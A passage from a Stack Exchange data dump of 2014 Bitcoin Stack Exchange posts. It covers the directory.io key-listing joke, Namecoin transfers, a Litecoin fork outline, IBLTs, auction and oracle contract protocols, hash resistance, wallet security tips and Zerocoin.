BY-SA 3.0" />
  <row Id="30702" PostTypeId="2" ParentId="30701" CreationDate="2014-09-28T15:03:12.743" Score="3" Body="&lt;p&gt;I don't think you understand that site. It 'lists' all possible addresses and you do NOT want to search your own address in there (even if that were possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of the site is a joke or a troll, but best just to avoid it.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-09-28T15:03:12.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30703" PostTypeId="2" ParentId="30701" CreationDate="2014-09-28T18:28:47.487" Score="5" Body="&lt;p&gt;The site &lt;a href=&quot;http://directory.io&quot; rel=&quot;nofollow&quot;&gt;Directory.io&lt;/a&gt; is an insider joke; it's simply making the statement that there's 2^256 - 1 (ie X combinations, where X = 115792089237316195423570985008687907852837564279074904382605163141518161494336 &#xA;) private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A private key can be a large number like 904625697166532776746648320380374280100293470930272690489102837043110636601 or small like 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's been done is each page is essentially a list of hashed numbers in order, starting at n=0, then next n=1, 2, 3, etc &lt;em&gt;ad nauseum&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, a hashed number called the secret exponent - a hexadecimal number up to 2^160 in size - represents the public key. You can see the public key for yourself with the &lt;em&gt;secret exponent&lt;/em&gt; field at &lt;a href=&quot;http://brainwallet.org&quot; rel=&quot;nofollow&quot;&gt;BrainWallet.org&lt;/a&gt; and the private key proof at the &lt;a href=&quot;http://directory.io/faq&quot; rel=&quot;nofollow&quot;&gt;Directory.io FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-09-29T01:21:04.473" LastActivityDate="2014-09-29T01:21:04.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30704" PostTypeId="2" ParentId="30701" CreationDate="2014-09-28T19:04:40.487" Score="2" Body="&lt;p&gt;Also important to note is that &lt;a href=&quot;http://directory.io&quot; rel=&quot;nofollow&quot;&gt;Directory.io&lt;/a&gt; doesn't actually store any private key (because that would be physically imposible, for a reason &lt;a href=&quot;http://cointext.com/wp-content/uploads/2013/11/btcbruteforce.jpg&quot; rel=&quot;nofollow&quot;&gt;similar to this&lt;/a&gt;). Rather, you tell it which page you want to see, and then it shows you the private keys [n*128, (n+1)*128-1], which it calculates on the fly. Your private keys are never compromised by this website.&lt;/p&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2014-09-28T19:04:40.487" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30705" PostTypeId="2" ParentId="30701" CreationDate="2014-09-28T20:21:12.850" Score="6" Body="&lt;p&gt;As &lt;a href=&quot;https://bitcoin.stackexchange.com/a/30704/5406&quot;&gt;Arturo&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/a/30703/5406&quot;&gt;Aussie&lt;/a&gt; already said, &lt;a href=&quot;http://directory.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;directory.io&lt;/a&gt; shows all Bitcoin addresses sorted by private key. Also, the author explains his intent on &lt;a href=&quot;http://directory.io/faq&quot; rel=&quot;nofollow noreferrer&quot;&gt;directory.io/faq&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first page has 11.302 Byte. Assuming they all are about the same size, &lt;strong&gt;1TiB would just store 97,284,695 pages.&lt;/strong&gt; Yet, there are 904625697166532776746648320380374280100293470930272690489102837043110636675 pages. That is approximately 9.05 × 10&lt;sup&gt;74&lt;/sup&gt;, i.e. ~10&lt;sup&gt;66&lt;/sup&gt; TiB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There is not enough memory to store them, and it is infeasible to search for one address in them in reasonable time.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concluding, everyone's bitcoins are still safe. :)&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-09-30T08:28:57.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30706" PostTypeId="2" ParentId="30568" CreationDate="2014-09-28T22:14:30.607" Score="1" Body="&lt;p&gt;this was a nice initiative. What I imagine is a ring of farmers where each and everyone produce different products and/or provide certain services. For instance, one farmer could sell milk and eggs, another one could be an expert at mending barns, and yet another one could be raising chickens and selling those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say it is a group of 20 farmers, and they want to use bitcoin for trading goods and services among them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all there should be 1 or 2 super enthusiasts that could be the 'go to man' for the others in the event of issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several things that needs to be considered:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Determine what level of IT-strategy is advisable. Most farmers probably have some kind of IT-equipment already, be it smartphones, personal computers, tablets etc. As for accepting BTC, startionary equipment is fine, but when visiting another farmer, then a smart phone would be great to be able to pay. Of course there are several ways to go about this. Bitcoin.org lists many options in regards to wallets, and most wallets have their dedicated thread on bitcointalk.org, where you can learn about the wallet that you chose to use. Unless you deal with trivial amounts of BTC, there should be some backup strategies, this could include using cold wallets (educate yourself about this), and also regular backups regarding hot wallets. Remember hot wallets can most often be encrypted and protected by a passphrase. Backups are very important. If the farmer loses his smart phone in the dirt container, it's gone, and so is the bitcoins, but if he has a backup, he'll be safe in regards to retaining his bitcoins. There are so many ways to backup the bitcoins, so I cannot elaborate on that here, but it's a crucial part of dealing with bitcoins. A wallet with cash is lost when somebody steals it, or if you lose it on the field, bitcoins are safe as long as you have a backup. The bitcoin enthusiast in the group should research different options carefully and select what's best suited for the group of farmers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. Get bitcoins in the hands of the farmers in the first place.&#xA;- Solutions: Use localbitcoins or similar and do face to face cash trades. Alternatively, use an online service (exchanger or exchange), and deposit money through any method the site accepts. This might be a good starting point in that regard: &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Trade&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C. Get tradin'. Farmer Joe buys a dozen eggs from Farmer Jane with 0.n bitcoins. How to determine the price? Some price finding service could be made by the enthusiast, or some existing web services could be used. Bitcoin prices are a bit volatile, so they need to be dynamically uptated by converting from USD to BTC. So when Jane drives over to Joe to get some eggs, he says, yupp, that's 10 dollars in bitcoins, and he enters 10 USD in his tablet, and out comes the number 0.03. He then points at his QR-code, and says: &quot;Yupp, that's my payment address, just scan it Jane, and you could pay me directly&quot;. Jane scans the QR-code with her phone, and sends 0.03 BTC to Joe. Joe checks at his computers and sees the payment going in to his wallet, saying '0 unconfirmed'. As he trusts Jane, and knows Jane is not the double-spend type of farmer, he happily raised his thumbs and smiles. &quot;Yupp, all done Jane - have a good one!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge as I see it is to keep the bitcoins safe for non-technical people. Perhaps some kind of bitcoin community union for the farmers would be the way to go? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I see it, the transaction part of the project is the easiest part, while keeping the bitcoins safe demands that at least 1 person (preferably more) in the group has the technical knowhow to setup secure solutions. Perhaps even dedicated devices for such payments would be advisable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantages would be that you would become independent of the traditional cash system, at least in the farmers trading ring. In addition, if done properly, no money could be confiscated by police if stopped in a control (I've heard cash confiscations are rampant in the US these days..). There could be no counterfeit money, not that it would be an issue with cash either, I would think. And you would not enrich the bankers with fees and so on. Now that bitcoin has become more widespread, the farmer could sell eggs and milk for bitcoins, and then use the bitcoins to buy linen, pillows, computers, tea - virtually anything, so he didn't really need to use cash for all things any more. And if someone breaks into a farmers house and steals his laptop, he's already got a backup stored encrypted on a server run by the IT-enthusiast in the group, or stored on an USB-drive hidden somewhere in the barn, so until the thief cracks the passphrase to the wallet, the bitcoins are already swiped to other addresses, and thus the thief will gain nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using a normal bank, all transactions are tied to your person and reported to the relevant entities. Now, the blockchain is public knowledge, but it's rather hard to track a single bitcoin address to a certain person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this might sound quite complicated, and it kind of is as well, but using bitcoin to pay is not that difficult, just scan a QR-code, then input how much you should pay, and done with it - so what might be best would be to seek out some kind of solution that's already ready made for scenarios like this. I don't know if it exists, but look and you shall find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, you need a solution that hides all the complicated parts, and makes it really easy in a day to day usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish you the best of luck!&lt;/p&gt;&#xA;" OwnerUserId="19495" LastActivityDate="2014-09-28T22:14:30.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30707" PostTypeId="2" ParentId="2971" CreationDate="2014-09-29T02:41:36.060" Score="0" Body="&lt;p&gt;Each name registered in Namecoin is associated with an address. When updating a name with &lt;code&gt;name_firstupdate&lt;/code&gt; or &lt;code&gt;name_update&lt;/code&gt; operations, Namecoin wallet will automatically transfer it to a new address within the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between &lt;code&gt;name_new&lt;/code&gt; and &lt;code&gt;name_firstupdate&lt;/code&gt;, there is no way to transfer a name to a different address (but it is still possible to register the same name a second time). However, it is possible to transfer an address to a different wallet. You would need to find which address the &lt;code&gt;name_new&lt;/code&gt; operation is associated with (for example, by using block explorer). Then export the private key associated with that address and import it into another wallet. Now you would be able to issue &lt;code&gt;name_firstupdate&lt;/code&gt; command from that wallet (you will need to use the four-argument form of the command). This will transfer the name to a different address, so the old address would not be used anymore.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-09-29T02:41:36.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30708" PostTypeId="2" ParentId="13199" CreationDate="2014-09-29T03:18:58.137" Score="6" Body="&lt;p&gt;From the &lt;a href=&quot;https://github.com/blockchain/My-Wallet/blob/ddbb0995fbdb2b5f22bef9eb92a26e2bfefb6e00/account.js#L90&quot;&gt;source code&lt;/a&gt;, one can see that the mnemonic in fact only encodes your password and wallet identifier. You would still need to access you wallet data somehow to recover you coins.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-09-29T03:18:58.137" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30709" PostTypeId="1" CreationDate="2014-09-29T03:34:40.347" Score="1" ViewCount="4986" Body="&lt;p&gt;I need a Detailed guide on how to Create a Litecoin Fork, With Pre-mine instructions, I would be very grateful if someone posted a comprehensive guide on how to Create a Litecoin software fork, with a Pre-mine.&lt;/p&gt;&#xA;" OwnerUserId="19500" LastEditorUserId="15412" LastEditDate="2014-09-29T07:04:32.163" LastActivityDate="2014-09-29T21:10:32.927" Title="Detailed guide on how to Create a Litecoin Fork, With Pre-mine instructions" Tags="|litecoin|altcoin|blockchain-fork|" AnswerCount="1" CommentCount="5" ClosedDate="2014-09-30T22:13:01.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="30710" PostTypeId="2" ParentId="30648" CreationDate="2014-09-29T04:01:04.677" Score="12" Body="&lt;p&gt;Invertible Bloom lookup tables can be used in many different ways, but the first paper you linked to explicitly proposes to use them to find differences between two data sets stored on different hosts without transferring the entire data set from one of the hosts to the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In context of Bitcoin, suppose that two nodes have just established a connection. Now they need to synchronize their transaction pools to make sure that each node knows about every transaction the other node knows about. A trivial solution is to send the list of transaction IDs for all transactions in the pool from one node to the other, but this list can be large. At the same time, each node will probably have most of the transactions that the other node has, so the number of transactions that have to be transferred is small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is to find which transactions should be transferred, and this is the problem that invertible Bloom lookup tables can solve. Rather than sending the list of all transactions IDs, a node only sends an invertible Bloom table, which is smaller, but it is only usable if the number of differences (transactions which are present on one of the nodes but not on the other) is small. The table can be made of different sizes, and the larger the table, the greater is the number of differences that it can resolve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin, this means that the amount of unnecessary communication will be reduced, and that nodes will be able to synchronize their transaction pools more quickly. Bitcoin nodes need to synchronize the block chain as well, but because of its linear, append-only structure, there are simpler and more efficient algorithms for this, and such algorithms are used in Bitcoin from the beginning.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-09-29T04:01:04.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30711" PostTypeId="2" ParentId="30565" CreationDate="2014-09-29T04:17:28.493" Score="3" Body="&lt;p&gt;By default, Armory will check 100 addresses, but this can be changed with &lt;code&gt;--keypool&lt;/code&gt; command-line option.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-09-29T04:17:28.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30712" PostTypeId="2" ParentId="30607" CreationDate="2014-09-29T05:45:00.247" Score="3" Body="&lt;p&gt;The following protocol is based on &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_1:_Providing_a_deposit&quot; rel=&quot;nofollow&quot;&gt;Providing a deposit&lt;/a&gt; example contract and &lt;a href=&quot;/a/30608&quot;&gt;the previous answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When placing a bid, the bidder and the auctioneer do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Both generate new public keys.&lt;/li&gt;&#xA;&lt;li&gt;The bidder generates a transaction (&lt;em&gt;deposit&lt;/em&gt;) which sends his bid to a multisignature script requiring signatures from both newly generated keys to spend. Then he sends its ID to the auctioneer.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The auctioneer generates a transaction (&lt;em&gt;return&lt;/em&gt;) which spends &lt;em&gt;deposit&lt;/em&gt; and sends the money back to the bidder. He sets its lock time (nLockTime) to some time after the auction ends. He also generates a transaction (&lt;em&gt;payment&lt;/em&gt;) that spends &lt;em&gt;deposit&lt;/em&gt; and sends the money to himself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The auctioneer signs &lt;em&gt;return&lt;/em&gt;, but not &lt;em&gt;payment&lt;/em&gt;. Both transactions are not valid without the bidder's signature. He sends both transactions to the bidder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The bidder checks that the transactions are as expected, and that the auctioneer's signature on &lt;em&gt;return&lt;/em&gt; is valid. He broadcasts &lt;em&gt;deposit&lt;/em&gt;. He also signs &lt;em&gt;payment&lt;/em&gt; and sends it to the auctioneer.&lt;/li&gt;&#xA;&lt;li&gt;The auctioneer checks the bidder's signature on &lt;em&gt;payment&lt;/em&gt;. As soon as &lt;em&gt;deposit&lt;/em&gt; is confirmed, the bidder's money is locked and can't be spent by the bidder until the auction is complete.&lt;/li&gt;&#xA;&lt;li&gt;After the auction, the auctioneer signs and broadcasts &lt;em&gt;payment&lt;/em&gt; transaction corresponding to the winning bid. Other bidders can have their bids returned by broadcasting &lt;em&gt;return&lt;/em&gt; transaction when it becomes valid, or they can cooperate with the auctioneer to have their bids returned immediately.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, there is a little problem: the auctioneer can claim multiple bids. To solve this, have the auctioneer provide a small anchor output and make all &lt;em&gt;payment&lt;/em&gt; transaction spend this output. Now at most one of the &lt;em&gt;payment&lt;/em&gt; transactions can be accepted by the network. Of course, bidders need to check that &lt;em&gt;payment&lt;/em&gt; spends that output before signing it, as well as to make sure that the same anchor is used for all bidders.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastEditorUserId="5254" LastEditDate="2014-09-30T23:18:59.137" LastActivityDate="2014-09-30T23:18:59.137" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30713" PostTypeId="2" ParentId="30668" CreationDate="2014-09-29T06:37:42.923" Score="0" Body="&lt;p&gt;Preimage resistance and collision resistance are not absolute, they are just matters of amount of computation that is necessary to solve certain problems. For example, for an ideal hash function with 256-bit output, an order of 2&lt;sup&gt;256&lt;/sup&gt; evaluations are needed to find a preimage, and an order of 2&lt;sup&gt;128&lt;/sup&gt; evaluations are needed to find a collision. Anything less is considered an attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you can find collisions with just 2&lt;sup&gt;124&lt;/sup&gt; evaluations (and not because you are lucky, but because you use some approach specific to the function), this is an attack, but it is not practical because 2&lt;sup&gt;124&lt;/sup&gt; is still immensely large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, for Bitcoin mining, you need to find only partial preimages, not full preimages. For example, to find a value such that first 50 bits of its hash are zeros, you need 2&lt;sup&gt;50&lt;/sup&gt; hash evaluations, assuming the hash is ideal. And there is a problem: if the hash is not preimage-resistant (so you need, for example, just 2&lt;sup&gt;240&lt;/sup&gt; evaluations to find a preimage, rather than 2&lt;sup&gt;256&lt;/sup&gt;), this doesn't tell anything about resistance to finding partial preimages (so the above problem may still take 2&lt;sup&gt;50&lt;/sup&gt; evaluations, but may take only 2&lt;sup&gt;34&lt;/sup&gt;). And lack of collision resistance doesn't tell anything at all about the difficulty of finding partial preimages. However, Bitcoin depends on collision resistance of SHA256 in other places, so it is still important.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-09-29T06:37:42.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30714" PostTypeId="2" ParentId="30357" CreationDate="2014-09-29T08:47:12.557" Score="1" Body="&lt;p&gt;Bitcoin can't directly check the outcome of real-life events. However, it is possible to make conditional transactions with the help of third parties. This can be achieved with multisignature addresses. A multisignature address is an address which is controlled by several different people. To spend the money from such address, signatures from specific number of those people is required. For example, to spend from a 2-of-3 multisignature address, at least two of the three owners must agree on a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be used to make conditional payments? Well, there are three parties: the sender, the recipient and the party which determines the outcome of the event, which we will call the oracle. The oracle provides a public key which corresponds to the event which is the condition of the payment. If the event happens, the oracle would reveal the corresponding private key, so anyone would be able to use it to make signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, suppose that the sender sends his money to a 2-of-3 multisignature address with the owners being himself, the recipient and the public key provided by the oracle. Until the oracle reveals his private key, the recipient can only spend the money with the assistance of the sender. Afterward, the recipient can use the key revealed by oracle to spend the money as he wishes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scheme, however, has a few problems. Firstly, if the event doesn't happen, the sender can only take his money back with the assistance of the recipient. Secondly, if the event does happen, the sender can take his money back if the recipient is not fast enough to move it first. The first problem can be solved by having the recipient sign a transaction returning money back to the sender before the sender broadcasts the first transaction. &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_1:_Providing_a_deposit&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is an example of how this feature can be used. The second problem can be solved by using more complex script than 2-of-3. For example, it is possible to make a script which lets the money to be spent by sender+recipient and recipient+oracle, but not sender+oracle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, when doing research on this question, I found an actual &lt;a href=&quot;https://www.realitykeys.com/&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt; which offers to reveal private keys based on the outcome of real-life events.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-09-29T08:47:12.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30715" PostTypeId="1" CreationDate="2014-09-29T11:48:58.457" Score="1" ViewCount="93" Body="&lt;p&gt;What is the easiest way to have access to UK Faster Payments facilities as a Bitcoin business? The UK banks have been quite hostile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Bitcoin businesses have access to the Faster Payments network in the UK?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-09-29T11:48:58.457" Title="Banking partners with UK Faster Payments" Tags="|banks|" AnswerCount="0" CommentCount="0" ClosedDate="2015-01-09T23:25:42.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="30717" PostTypeId="1" CreationDate="2014-09-29T19:11:46.790" Score="2" ViewCount="131" Body="&lt;p&gt;I am trying to make a presentation on Bitcoin for my Security and Risk Analysis class. &#xA;Currently, my research question is : What bitcoin security measures can enhance user-protection and reduce theft?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My professor needs the topic to be scientific, atleast that it sounds like one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need your help to paraphrase my question to make it more worthwhile for research.&lt;/p&gt;&#xA;" OwnerUserId="19505" LastEditorUserId="2306" LastEditDate="2014-10-22T02:35:00.763" LastActivityDate="2014-10-22T02:35:00.763" Title="End-user security measures to protect your Bitcoins" Tags="|academic-research|wallet-security|" AnswerCount="1" CommentCount="1" ClosedDate="2015-03-10T19:06:36.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="30720" PostTypeId="2" ParentId="30709" CreationDate="2014-09-29T21:10:32.927" Score="3" Body="&lt;p&gt;Off the top of my head:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You need a new genesis block.  &lt;/li&gt;&#xA;&lt;li&gt;You need a different address byte (e.g. bitcoin uses 0).  &lt;/li&gt;&#xA;&lt;li&gt;You need to change the default port and rpc port.  &lt;/li&gt;&#xA;&lt;li&gt;You need a way for clients to find one another. You can run a DNS seed.  &lt;/li&gt;&#xA;&lt;li&gt;You need to change the &quot;backup client list&quot; which is a bunch of 32 bit integers which represent IP addresses.  &lt;/li&gt;&#xA;&lt;li&gt;You need somebody to mine initially, because otherwise transactions won't confirm.&lt;/li&gt;&#xA;&lt;li&gt;You need to alter the default datadir directory.  &lt;/li&gt;&#xA;&lt;li&gt;You need to change the magic number in the protocol header, otherwise your client might connect to the Litecoin network by accident, wasting bandwidth.  &lt;/li&gt;&#xA;&lt;li&gt;You need to change the alert keys, otherwise the Litecoin devs can send alerts onto your network.&lt;/li&gt;&#xA;&lt;li&gt;Add a transaction to the UTXDB which is your premine transaction&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's all I can think of, though obviously you'd want to change GUI elements to the actual name of your currency.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-09-29T21:10:32.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30721" PostTypeId="1" CreationDate="2014-09-30T04:49:44.713" Score="0" ViewCount="268" Body="&lt;p&gt;Trying to use the testnet which I have no problems with using Bitcoin Core 0.9.3 with command:&#xA;&lt;code&gt;Bitcoin-qt.exe -testnet -datadir=f:\data\bitcoincore&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But running Armory using the Testnet icon attempts to connect to the testnet and crashes Bitcoind.exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on x64 architecture and believe the problem lies in Armory not finding my remote datadir. Obviously there's the &lt;code&gt;testnet3&lt;/code&gt; directory inside &lt;code&gt;f:\data\bitcoincore&lt;/code&gt; ie &lt;code&gt;f:\data\bitcoincore\testnet3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add I've made a junction point with mklink for &lt;code&gt;%appdata%\bitcoin&lt;/code&gt; to &lt;code&gt;f:\data\bitcoincore&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware of either the correct flags passed to Bitcoin Core in the settings of Armory, or the Armory flags, or both, which allow me to run Armory on testnet?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-01-29T11:30:14.053" Title="How do I run Armory Testnet on Win7 x64 using Bitcoin Core 0.9.3 using remote datadir?" Tags="|bitcoind|bitcoin-core|testnet|windows|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30722" PostTypeId="2" ParentId="30717" CreationDate="2014-09-30T08:25:09.537" Score="1" Body="&lt;p&gt;Most Bitcoin thefts occurs due to user careless and ignorance, like not using two-factor authentication and sharing email and password across questionable websites. The risk of theft can be easily reduced by taking the basic security measurements which you should follow in any case when you are dealing with Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some things you should include in your presentation&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't use questionable Bitcoin services or exchanges (see: Mt.Gox) - if you are unsure ask the Bitcoin community about the integrity of the service. Any &quot;free bitcoins&quot; sites are definitely no go.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Always enable two-factor authentication when using Bitcoin services (exchanges, web wallets)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep most of your Bitcoins in a cold wallet or vault service which is not directly connected to Internet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't install unnecessary software on the computer you use to handle Bitcoins. Especially don't install software from download sites (even legit ones) or from Bittorrent. Always download software directly from the site of the author.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't install unnecessary browser extensions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't use the same computer to surf on questionable sites (adult entertainment, illegal software, tor) - you usually get malware infection from sites like this&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep your computer software up-to-date&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't click phishing links&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To reduce the risk of malware, use safer operating systems like OSX or Linux instead of Microsoft Windows. Please note that this only lowers the malware risk, it doesn't guarantee immunity if you don't follow the other advices mentioned here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/30335/is-the-threat-of-computer-malware-to-steal-bitcoin-exaggerated/30336#30336&quot;&gt;More information about Bitcoin end user threats can be found in this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-09-30T08:25:09.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30723" PostTypeId="2" ParentId="30344" CreationDate="2014-09-30T10:49:32.907" Score="0" Body="&lt;p&gt;Chiming in to confirm that halving is approaching faster than scheduled - it has been 30 days since @Greg_Hewgill posted the estimate from Bitcoinclock.  Currently it displays:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Reward-Drop ETA: 2016-08-02 15:26:20 UTC (96 weeks, 8 hours, 40 minutes)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the last 30 days, Bitcoinclock has reduced its estimated date until next halving by 3 days / 10%.&lt;/p&gt;&#xA;" OwnerUserId="19521" LastActivityDate="2014-09-30T10:49:32.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30724" PostTypeId="1" CreationDate="2014-09-30T11:52:27.370" Score="2" ViewCount="533" Body="&lt;p&gt;How does Zerocoin work?&#xA;I got the idea that it is used to add anonymity in bitcoin.&#xA;It converts bitcoin to Zerocoin and back to bitcoin. But how does this process work? I tried reading the research paper on Zerocoin, but the example provided is difficult to understand (for me).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Imagine that all users share access to a physical bulletin board. To&#xA;  mint a zerocoin of fixed denomination $1, a user Alice first generates&#xA;  a random coin serial number S, then commits to S using a secure&#xA;  digital commitment scheme. The resulting commitment is a coin, denoted&#xA;  C, which can only be opened by a random number r to reveal the serial&#xA;  number S. Alice pins C to the public bulletin board, along with $1 of&#xA;  physical currency. All users will accept C provided it is correctly&#xA;  structured and carries the correct sum of currency. To redeem her coin&#xA;  C, Alice first scans the bulletin board to obtain the set of valid&#xA;  commitments (C 1 , . . . , C N ) that have thus far been posted by all&#xA;  users in the system. She next produces a non-interactive&#xA;  zero-knowledge proof π for the following two statements: (1) she knows&#xA;  a C ∈ (C 1 , . . . , C N ) and (2) she knows a hidden value r such&#xA;  that the commitment C opens to S. In full view of the others, Alice,&#xA;  using a disguise to hide her identity, 1 posts a “spend” transaction&#xA;  containing (S, π). The remaining users verify the proof π and check&#xA;  that S has not previously appeared in any other spend transaction. If&#xA;  these conditions are met, the users allow Alice to collect $1 from any&#xA;  location on the bulletin board; otherwise they reject her transaction&#xA;  and prevent her from collecting the currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19374" LastEditorUserId="19476" LastEditDate="2014-10-01T15:23:55.207" LastActivityDate="2018-11-10T21:49:19.943" Title="How does Zerocoin work?" Tags="|privacy|zerocoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30726" PostTypeId="2" ParentId="30631" CreationDate="2014-09-30T19:37:50.373" Score="2" Body="&lt;p&gt;There is no minimum other than the smallest unit of NXT 0.00000001 NXT. This represents 0,00000000000072 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that the minimum fee of 1 NXT is still required for such a transaction.&lt;/p&gt;&#xA;" OwnerUserId="19527" LastActivityDate="2014-09-30T19:37:50.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
